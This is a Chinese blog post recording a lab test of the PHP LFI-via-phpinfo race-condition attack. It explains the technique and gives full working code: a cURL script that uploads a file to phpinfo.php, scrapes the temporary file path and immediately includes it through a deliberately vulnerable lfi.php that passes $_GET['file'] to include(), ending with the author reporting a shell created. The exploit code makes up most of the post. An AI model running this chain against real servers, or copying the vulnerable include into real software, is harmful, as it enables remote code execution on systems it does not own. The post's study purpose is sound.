您的位置:首页 > 编程语言 > PHP开发

测试LFI WITH PHPINO过程中的一些记录

2016-03-05 20:19 731 查看
原理:以往LFI漏洞都是需要满足两个条件:1.攻击者上传一个含PHP代码的的文件,后缀名任意,没有后缀名也可以;2.需要知道上传后的文件路径及文件名,然后包含之。

后来有国外研究者发现了新的攻击方式,话说外国基佬的思路确实够猥琐。该思路的原理是:PHP在以enctype=multipart/form-data方式POST文件时,不论POST到哪个文件,PHP都会在临时目录中生成一个临时文件名,然后调用脚本处理该临时文件,最后删除这个临时文件。于是乎新的攻击思路成形了:可以POST到phpinfo.php文件,这样可以直接获得临时文件的路径和名称,然后在PHP删除临时文件之前包含这个临时文件即可。这里最麻烦的是如何在临时文件被删除之前包含它通常有这么几种考虑:1.上传大文件,这样PHP的处理就会变慢,经过实际测试,大概3M左右的时候就可以肉眼看到生成的临时文件了,虽然会很快被删除,但是这里确实能看到从生成到删除的全过程了。2.通过大量请求来延迟PHP脚本的处理速度。

测试文件如下:

phpinfo.php

<?php
phpinfo();
?>


View Code

curlpost.php(使用PHP CURL来模拟表单提交数据,模拟表单的代码参考了这里http://www.cnblogs.com/jackluo/p/4113255.html,在他的基础上做了修改)

<?php
function curl_post($url, $data, $header = array()){
if(function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if(is_array($header) && !empty($header)){
$set_head = array();
foreach ($header as $k=>$v){
$set_head[] = "$k:$v";
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $set_head);
}
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);// 1s to timeout.
$response = curl_exec($ch);
if(curl_errno($ch)){
//error
return curl_error($ch);
}
$reslut = curl_getinfo($ch);
print_r($reslut);
curl_close($ch);
$info = array();
if($response){
$info = json_decode($response, true);
}
return $info;
} else {
throw new Exception('Do not support CURL function.');
}
}
//*/
//
function api_notice_increment($url, $data)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
//        $data = http_build_query($data);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
//curl_file_create
//    $result =  curl_exec($ch);
$lst['rst'] = curl_exec($ch);
$lst['info'] = curl_getinfo($ch);
curl_close($ch);

return $lst;
//    return $result;
}

/**
*  curl文件上传
*  @var  struing  $r_file  上传文件的路劲和文件名
*
*/
/*
function upload_file($url,$r_file)
{
$file = array("fax_file"=>'@'.$r_file,'type'=>'image/jpeg');//文件路径,前面要加@,表明是文件上传.
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$file);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$result = curl_exec($curl);  //$result 获取页面信息
curl_close($curl);
echo $result ; //输出 页面结果
}*/

function upload_file($url,$filename,$path,$type){
$data = array(
'pic'=>'@'.realpath($path).";type=".$type.";filename=".$filename
);
$reg='/.*\.tmp/';
$arr=[];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true );
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// curl_getinfo($ch);
$return_data = curl_exec($ch);
curl_close($ch);
preg_match($reg, $return_data,$arr);
//echo $arr[0];
$arr2=explode("\\",$arr[0]);
$ext=$arr2[count($arr2)-1];
$lfi=curl_init();
curl_setopt($lfi, CURLOPT_URL, "http://127.0.0.1:81/mycode/lfi.php?file=../../tmp/".$ext);
curl_exec($lfi);
curl_close($lfi);

echo "http://127.0.0.1:81/mycode/lfi.php?file=../../tmp/".$ext;
//echo $return_data;
}

if ($_POST) {
$url = 'http://127.0.0.1:81/mycode/phpinfo.php';
//
$path = $_SERVER['DOCUMENT_ROOT'];
/*
print_r($_FILES);
exit;
*/
//$filename = $path."/232.jpg";
//upload tmp
$tmpname = $_FILES['fname']['name'];
$tmpfile = $_FILES['fname']['tmp_name'];
$tmpType = $_FILES['fname']['type'];
//        echo $tmpType;
upload_file($url,$tmpname,$tmpfile,$tmpType);
/*
$data = array(
'path'=>"@$path/232.jpg",
'name'=>'h'
);
*/
//'pic'=>'@/tmp/tmp.jpg', 'filename'=>'tmp'
//$data = array('pic'=>"@$filename", 'filename'=>'tmp');
/*
$data = array(
'uid'    =>    10086,
'pic'    =>    '@$tmpfile'.';type='.$tmpType
);
$info = api_notice_increment($url, $data);
*/
//$info = curl_post($url, $data);
//$info = api_notice_increment($url, $data);
//upload_file($url,$tmpfile);
//print_r($info);
exit;
/*
$file = 'H:\www\test\psuCARGLSPA-pola.jpg'; //要上传的文件
$src = upload_curl_pic($file);
echo $src;
*/
}
?>

<form  enctype="multipart/form-data"  method="post">
<p>UpLoad: <input type="text" name="fname" /></p>
<p>UpLoad: <input type="file" name="fname" /></p>

<input type="submit" value="Submit" />
</form>


lfi.php

<?php
include($_GET['file']);
?>


测试用的大文件post.txt,5M多一点,这个很容易生成就不贴代码了,截个图看下效果



最后执行的效果



最后可以看到shell已经生成了

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: